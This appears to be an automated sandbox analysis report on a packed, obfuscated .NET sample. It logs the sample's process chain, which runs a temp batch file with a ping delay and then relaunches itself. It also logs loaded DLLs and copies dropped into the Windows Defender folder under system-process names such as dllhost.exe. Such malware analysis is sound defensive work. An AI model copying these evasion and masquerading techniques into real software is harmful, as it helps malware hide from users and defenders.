Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe

File read: C:\Users\user\Desktop\Z90Z9bYzPa.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Z90Z9bYzPa.exe "C:\Users\user\Desktop\Z90Z9bYzPa.exe"
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\JcekoaVTX1.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\Z90Z9bYzPa.exe "C:\Users\user\Desktop\Z90Z9bYzPa.exe"
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\JcekoaVTX1.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\Z90Z9bYzPa.exe "C:\Users\user\Desktop\Z90Z9bYzPa.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{289AF617-1CC3-42A6-926C-E6A863F0E3BA}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Directory created: C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe			Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Directory created: C:\Program Files\Windows Defender\en-US\6e10d114dd40fd			Jump to behavior

Source: Z90Z9bYzPa.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Z90Z9bYzPa.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Z90Z9bYzPa.exe

Static file information: File size 1956352 > 1048576

Source: Z90Z9bYzPa.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x1dd200

Source: Z90Z9bYzPa.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: Z90Z9bYzPa.exe, CsiWujCHoQ3V4uxI7qP.cs

.Net Code: Type.GetTypeFromHandle(MSwWrrpv4oqrDaGkr4o.lpqLrZwRfC1(16777424)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(MSwWrrpv4oqrDaGkr4o.lpqLrZwRfC1(16777245)),Type.GetTypeFromHandle(MSwWrrpv4oqrDaGkr4o.lpqLrZwRfC1(16777259))})

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 0_2_00007FFD9B8846F6 pushfd ; iretd	0_2_00007FFD9B8846F9
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 0_2_00007FFD9B9E3D76 push ecx; ret	0_2_00007FFD9B9E3D79
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 0_2_00007FFD9BC78788 push es; ret	0_2_00007FFD9BC78789
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 0_2_00007FFD9BC7870D push es; ret	0_2_00007FFD9BC7870E
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 0_2_00007FFD9BC756C0 push ss; iretd	0_2_00007FFD9BC75707
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 0_2_00007FFD9BC7C9FC push edx; iretd	0_2_00007FFD9BC7CA22
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 0_2_00007FFD9BC7E49A push edi; ret	0_2_00007FFD9BC7E49B
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 5_2_00007FFD9BAB46F6 pushfd ; iretd	5_2_00007FFD9BAB46F9
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 5_2_00007FFD9BB750E8 push eax; retf	5_2_00007FFD9BB750E9
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 5_2_00007FFD9BC13D76 push ecx; ret	5_2_00007FFD9BC13D79
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 5_2_00007FFD9BEA8788 push es; ret	5_2_00007FFD9BEA8789
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 5_2_00007FFD9BEA870D push es; ret	5_2_00007FFD9BEA870E
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 5_2_00007FFD9BEA5708 push ss; iretd	5_2_00007FFD9BEA5707
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 5_2_00007FFD9BEA56C0 push ss; iretd	5_2_00007FFD9BEA5707
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 5_2_00007FFD9BFDDBC4 push eax; ret	5_2_00007FFD9BFDDBF4
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Code function: 5_2_00007FFD9BFDDC2D push eax; ret	5_2_00007FFD9BFDDBF4

Source: Z90Z9bYzPa.exe	Static PE information: section name: .text entropy: 7.558242031794102
Source: UdtvoblhRrdVjJaLCN.exe.0.dr	Static PE information: section name: .text entropy: 7.558242031794102
Source: dllhost.exe.0.dr	Static PE information: section name: .text entropy: 7.558242031794102
Source: UdtvoblhRrdVjJaLCN.exe0.0.dr	Static PE information: section name: .text entropy: 7.558242031794102
Source: SgrmBroker.exe.0.dr	Static PE information: section name: .text entropy: 7.558242031794102

Source: Z90Z9bYzPa.exe, QFHgJR6yNekBcno2kO5.cs	High entropy of concatenated method names: 'yEC6cOy5DT', 'vS1FjBWMrjM4sR4C2dyc', 'aAuYlPWMjpkgbwWQJmsS', 'RQJ0flWMY1wDF5dXKd3j', 'fD3Q37WMu6ppPY9KbWep', 'zimZoNWM29qTxHuQERag', 'P9X', 'vmethod_0', 'YMxWYGHjA3N', 'imethod_0'
Source: Z90Z9bYzPa.exe, y24bvB0F7VTHLs8WPCQ.cs	High entropy of concatenated method names: 'ibx0Va9llq', 'pnn0cpEBRe', 'LGK0CIRIPq', 'Mfp0tJkTt5', 'Hq30pmvXhy', 'tk3SQVW9JmMthasY7tl4', 'mIgLV8W9ofN90dZLmRFk', 'vXs6KoW9ws0qIt1UPuS0', 'GQPJAhW9nX2I5Fgr6XON', 'BXRJSgW9D5bY18i7yVA1'
Source: Z90Z9bYzPa.exe, IeOmFCKgK36OTN45V8e.cs	High entropy of concatenated method names: 'method_0', 'h59', 'R73', 'HOSKPD9o25', 'EpBTp6WcGoaFlbQVkJsn', 'tFv0U5Wc09IG71sNjWHR', 'tQPbAVWcNv58OPQtIYZq', 'tlBg7KWc8O4okaoRrHSB', 'Lu2ZdEWcg4Y72cRtjXy1', 'k0siX3Wc7cTImKRYTajO'
Source: Z90Z9bYzPa.exe, QAOv0fzBekYWmdFWSb.cs	High entropy of concatenated method names: 'YuGWW1Fr74', 'wACWj5yTQ3', 'm4pWY330lA', 'f2iWrHxSds', 'TXQWufSups', 'T6cW294uyk', 'uUZWmo0CJR', 'dqD4fQWG2WbnNEf6CiZu', 'FUlltjWG6X0v9DnOWkdb', 'b3id7EWGmh1K9SaFC4XK'
Source: Z90Z9bYzPa.exe, GablsNScKMCxPolDyys.cs	High entropy of concatenated method names: 'w52', 'o38', 'vmethod_0', 'pKQStlaVWw', 'Ke8W6bIXJmc', 'NvNA3GWwsCghYhi9V9ht', 'JF0f74WwQ9qCGv8i52vI', 'gf7k25WwhE5qXAx5dmG4', 'kQWFuOWwGVnGL6r64QB9', 'Gh21DXWw0fwSvZ7US0xM'
Source: Z90Z9bYzPa.exe, tQGIQf7IHuefAZMPDff.cs	High entropy of concatenated method names: 'S9PPvvS0tM', 'nqukSLWdlE9YtM35DbgT', 'vBtfvCWdOXN51O2CGbgj', 'TaE9SfWdMXoEXb6Pjm9J', 'dUIQJqWdUULt00Ix4kdj', 'kt5', 'UIk71RFGQq', 'ReadByte', 'get_CanRead', 'get_CanSeek'
Source: Z90Z9bYzPa.exe, AIaDjr0y1UfLPrfTOIe.cs	High entropy of concatenated method names: 'CAR0TtHpD7', 'Guk0f0tYZY', 'i8p0dcFZqZ', 'w8x6LnW9lVfgDViEHwGg', 'fCubyBW9OJOnyWbO1bFU', 'uM7vvKW9MbdtaSQjH8ou', 'eHXR1hW9UGKYHe2APlIs', 'yS8O5gW94uy4HcNjgJt6'
Source: Z90Z9bYzPa.exe, uIoTgU8D1fv2gerpSnb.cs	High entropy of concatenated method names: 'mjh89v9pUE', 'bvA8TtVjM9', 'SpI8f0rvvG', 'mx58d61c7X', 'IxM8q8oluS', 'so4IhtWfgkxTkTtjnbM4', 'aY0LSgWf7UlsKXFayv0K', 'I07u6HWfPwLWdw5vQbXI', 'DCkGUfWfNFcfCCKH6vJL', 'OuWGsCWf8lreOaHR1Hga'
Source: Z90Z9bYzPa.exe, J3DI6lYh5COZ2B6kCkp.cs	High entropy of concatenated method names: 'VZq', 'KZ3', 'XA4', 'imethod_0', 'e23', 'ABmW6jWX0jr', 'GBOWYWivvQn', 'fGq4EDW8hRGNF7uBOpD1', 'AF6SUxW8s1N9iraVEV51', 'AbLRGBW8GoRTpPfHL4Kw'
Source: Z90Z9bYzPa.exe, yftXJ9uQBPxYokQFSq6.cs	High entropy of concatenated method names: 'RYXugKCWOb', 'NqMC4oW7omQNm81tQWki', 'UGChX0W74LDyUILToEm5', 'eZRM0AW7BVTlPUBgdSRg', 'iFYvo7W7wNI2aqGJeQoW', 'AO3SPlW7JuDcxg3JiIiE', 'E94', 'P9X', 'vmethod_0', 'ivUWYSlcVW8'
Source: Z90Z9bYzPa.exe, rjYmMYpBAKy0QKNPfXH.cs	High entropy of concatenated method names: 'TCOWu7wZBoE', 'V6JWuPV9RGi', 'Pp4WuO87PU4', 'eGpWuMtItp0', 'sLSWul1WsDn', 'pHCWuUZW9aJ', 'r9gWu4kgVHG', 'O4bXrWxKxh', 'UoBWuBQyEmy', 't7kWuoshSDB'
Source: Z90Z9bYzPa.exe, sNrRBTlM8OJAxrq3Vay.cs	High entropy of concatenated method names: 'Dispose', 'MoveNext', 'get_Current', 'Reset', 'get_Current', 'GetEnumerator', 'GetEnumerator', 'uHuX1vWFHE4BRmvehWQ6', 'DgYxpeWFAWJLvEXWCGBf', 'CEGgODWFRfGkSwklZJa4'
Source: Z90Z9bYzPa.exe, OLFlm1rm8dSAusiC61p.cs	High entropy of concatenated method names: 'Rpx', 'KZ3', 'imethod_0', 'vmethod_0', 'FO9W6r8LNXd', 'GBOWYWivvQn', 'rVXMXTWgilTl2wYQCZ1R', 'c6d12gWgSk19jjcmvAjI', 'BtPxyhWgIsNZn3KfUZgU', 'MwYRx5WgewEDyWLpMDet'
Source: Z90Z9bYzPa.exe, NTjtIPrqAQgvH05N7JS.cs	High entropy of concatenated method names: 'ndVrt1cBpG', 'PZmrpuat0X', 'IPPrXhZpVt', 'Nm6rziUV8w', 'cWou32Gs62', 'HEMuWDZg3Z', 'zBTuLMAErJ', 'Gq6eVLW7ARoAKdLSO3wO', 'jXBJqjW7RX0kpFjmQt9P', 'bpah38W7vTZbcjI6Mi1i'
Source: Z90Z9bYzPa.exe, pl8xyUa1HFxMnWUIUCF.cs	High entropy of concatenated method names: 'emHiZAmKg8', 'pPFiv5BDyi', 'hVSS8kWB7P1TKnE9DUpf', 'a5C31nWB8l84VkQICSMw', 'zO0vXsWBgY5ZL4BWButs', 'tDF4GEWBPMOrORX82J2n', 'wbYh1bWBOB3UYRpK53g8', 'oh0iiLlRON', 'Kl2dsCWB4IQIVjIQvo65', 'E4mUjgWBlGIH9e5jiPGX'
Source: Z90Z9bYzPa.exe, vXZjHw8Xy7yGq5QdLYC.cs	High entropy of concatenated method names: 'MP3g3seiYM', 'LvOgWHQmJN', 'Yd7', 'rQJgLuKMBt', 'x5pgjaDkXu', 'BMhgYXCh7K', 'pFsgr0SdbZ', 'j3Te9sWfJ6HUxZ2QTWuv', 'eMlkLrWfn7NR5hcQNae1', 'qe4ucgWfDmmAlBxxTT4M'
Source: Z90Z9bYzPa.exe, TxjHFPLd1PIy58xbWAn.cs	High entropy of concatenated method names: 'VkMj2KMuDT', 'JQcxvoWN3cLpdio40sUp', 'jHpO64WNWLFJ43W7pVbT', 'Ok96jCWNLEfrtGKw8vcM', 'RkBFE0WNjCqSQktR0yRV', 'bibdY6W0X6flMJtkO8ly', 'Y6KsqAW0z81DFcE97ZBl', 'Spnj3FgIJE', 'UnMjLAbI6B', 'HCPjjPpBnr'
Source: Z90Z9bYzPa.exe, a7hgL3NgxUpHjsjKLMA.cs	High entropy of concatenated method names: 'DB4', 'method_0', 'method_1', 'method_2', 'method_3', 'method_4', 'method_5', 'A47', 'fC4', 'aK3'
Source: Z90Z9bYzPa.exe, eOv85gV7ytoMla1Y3x1.cs	High entropy of concatenated method names: 'j7ZVOmj4n0', 'lBvVM9E1dI', 'guiVlgtowh', 'jjrVUQRjLo', 'gLIV4jFd5k', 'bUNVBpkuCc', 'J6kVoMP63x', 'SAHVwGgQsy', 'lTYVJfE9MV', 'wvYVnveqhv'
Source: Z90Z9bYzPa.exe, oKnIRoNo8RTBfkkm54N.cs	High entropy of concatenated method names: 'YLcNJfYjmM', 'bc9NnIq3jw', 'QDWND2951S', 'YD2NyrOB0T', 'Lt8N91uhl5', 'A88NTaGgOi', 'VgNNfjVBGV', 'qfHNdgFoLi', 'mAFNqwuu43', 'XEpNFHCJMI'
Source: Z90Z9bYzPa.exe, cGcRlIpbHqnGdF7t5Sg.cs	High entropy of concatenated method names: 'uyfpNMfWjv', 'HRPp87WSdI', 'Tcipg8WU06', 'NKVp7RJhrY', 'TVkpPmqN13', 'KyapOMoxga', 'BR2pMiIObZ', 'YYMplG1cT5', 'jWTpU3Blkk', 'x6Yp4yl8hG'
Source: Z90Z9bYzPa.exe, BUZBL2hKVQPeXOAGvTF.cs	High entropy of concatenated method names: 'yO3hcA0lSw', 'E4lhCj1jsc', 'RERhtvHmkr', 'IurZSsWyWa49dQTWHoAp', 'kjgl9cWDzjLhHuOiNMdi', 'v5e16HWy3Qj2sTLHm4y7', 'XbMRTPWyLI2eJkvSVbU1', 'r1cDHfWyjEcct2LlBjAt', 'oMjZkZWyYNxNQaI9Hjgp'
Source: Z90Z9bYzPa.exe, G2gEP5eZxqY6qbpdOMH.cs	High entropy of concatenated method names: 'fPDkW7O1Fv', 'XbJNhTWniHF549ruDqH1', 'YJfidyWnSVyNsc48d9nZ', 'l5cJa6WnIEYBg3akPvdJ', 'Wr3eajIKe9', 'nYteABpRkm', 'POFeRxAG1J', 'YMSeHckXnK', 'djnebTGOD1', 'ciYeiDFuVg'
Source: Z90Z9bYzPa.exe, Xu6eeOcZZ47ijT5vifb.cs	High entropy of concatenated method names: 'iGAcAUpBs7', 'C05cisXPBD', 'gdjcenotID', 'dgEc19M28M', 'OVTckKUfeE', 'wRacQhKcNA', 'zySch3x3M7', 'U7scsOQPol', 'Dispose', 'kZCL1yWCp5TvieP9LdBS'
Source: Z90Z9bYzPa.exe, AneI5YkxWFndHEDcj4J.cs	High entropy of concatenated method names: 'PgwkgVM5vr', 'dTjkEeR1G5', 'n20kZwMmCy', 'rqJkvK2bZD', 'lOukaDlo5W', 'RvYkAReSlv', 'jK7kRMJKbw', 'lmikHdk8Zw', 'YFkkbXWAgn', 'SD9kiIk1i9'
Source: Z90Z9bYzPa.exe, b3QMDPuwPh3YQUSvqpK.cs	High entropy of concatenated method names: 'NH3ucQmGtT', 'e0guCYtQqe', 'YWButOq4Ze', 'Eelr0FWPjbt23ntadcbo', 'pwZac8WPY04g3ifo1Ci8', 'eGuciYWPWyPytEQOmRRJ', 'sEOywVWPLfwyCBtPIuwk', 'pcdunPkjIW', 'e46uDW6VO6', 'SbxuygDYrV'
Source: Z90Z9bYzPa.exe, j1ssjPIADsYgvEjc7Bm.cs	High entropy of concatenated method names: 'JIaGL1WJZ7ogwshyDaAU', 'TeD9ohWJv4wtaXiEAlj3', 'lGqRxoWJ591gtSq8BeAm', 'KKBfqRWJERQsiBWZxcSu', 'method_0', 'method_1', 'ubmIH9oi7g', 'aTgIbmEiDd', 'EyeIiJkrR5', 't44ISJGleu'
Source: Z90Z9bYzPa.exe, Pj8Fic0XKQTg3x0trPs.cs	High entropy of concatenated method names: 'hbIN3bXIQq', 'B81NWrkDKc', 'IrDNL1gWkg', 'SocNjm2Ep8', 'lXdNYDD2H5', 'ORbNrka2IV', 'yMH3oCW9dpwvN7fifipN', 'R56YBqW9qeUSQrbkMtrD', 'UO7Mn7W9FeUCTw8AidDI', 'uK8e9AW9KCXjP21IurJS'
Source: Z90Z9bYzPa.exe, te1AuruOK7b4BeW8sgV.cs	High entropy of concatenated method names: 'P83', 'KZ3', 'TH7', 'imethod_0', 'vmethod_0', 'b8kW6xUVDfn', 'GBOWYWivvQn', 'PBNgojW7Dq5pD6fNLbNL', 'MHKTX0W7yB1lWmfZFIgZ', 'y41DyeW79eslaatAmj2y'
Source: Z90Z9bYzPa.exe, f0taIPYBXiintvPPwXK.cs	High entropy of concatenated method names: 'yIfYpQkaOp', 'TtZZ7gWg2Lr3Oc4vLG2y', 'vy7RynWgraU79HPlBhmi', 'kNogOJWgumliESNlpXcc', 'cpJLioWg5OktWXCVfoFG', 'R03oIAWgmGVQkGAWiEg8', 'ceXVkLWgxWRte8q0UZnq', 'jXmruMxpcX', 'INpn8OWgaWnoQAUGSXRL', 'XSgDrYWgZrZ0LjcE9Pgb'
Source: Z90Z9bYzPa.exe, UgjAFWSfT4vVHwiC4TI.cs	High entropy of concatenated method names: 'I0yW6R05I2s', 'hFMSq1L2qV', 'l13W6HTTr92', 'Sf94ZQWwiuFR8SruQsQp', 'GeAT5BWwHkF7dB5h43Od', 'pe59mLWwbZOVYQvk2FNA', 'HpwopJWwS1jubWbupcRq', 'IOPkwjWwIGqVcPoIFHug', 'giuCHnWweWF46rtDMu4n', 'x3o6KRWw1tLqbsl1j5ip'
Source: Z90Z9bYzPa.exe, N5N6R7iKs1epiQTsYBh.cs	High entropy of concatenated method names: 'm1I', 'G4q', 'w29', 'f9IW6Z3eJso', 'm8vWYyoRiiB', 'NZnhaCWo5oGP1GIgcNsd', 'J9K6exWoEYpOUeDa73as', 'AZnUe3WoZjD13xFgJ8PM', 'LTpEJSWovjHGuX5YyRA1', 'ts9ee5WoatyWIZnScvqx'
Source: Z90Z9bYzPa.exe, V8uQe7GjU0qfQmUVpkg.cs	High entropy of concatenated method names: 'method_0', 'YU8', 'method_1', 'method_2', 'PdvGrKKdTK', 'Write', 'op3GuHPujG', 'ti0G21wv5Y', 'Flush', 'vl7'
Source: Z90Z9bYzPa.exe, gUhoV4GwUjLyWi15G6b.cs	High entropy of concatenated method names: 'VI3GpZNWd5', 'VkUGz7GauL', 'qs6GnYOkvw', 'KxhGDXX39O', 'LOJGy3ZQVN', 'fmuG9MHnle', 'k8pGTXr3QV', 'k5aGfUiQFx', 'z3LGdp2CHD', 'inQGqcgTnT'
Source: Z90Z9bYzPa.exe, pQ6qUIWKpmuXHnV5Nv6.cs	High entropy of concatenated method names: 'P9X', 'yhOWcprRy1', 'c53W63D8Qh7', 'imethod_0', 'dHaWCxnuM2', 'guWF5MWGcW40skpaAav8', 'ISnoXpWGCKAnjDWSZkUX', 'WhhE0tWGKLyWqUkxyitF', 'HCgMNZWGV8tgKTmVqfVE', 'pUtFDeWGtLAu7YWJ7PcO'
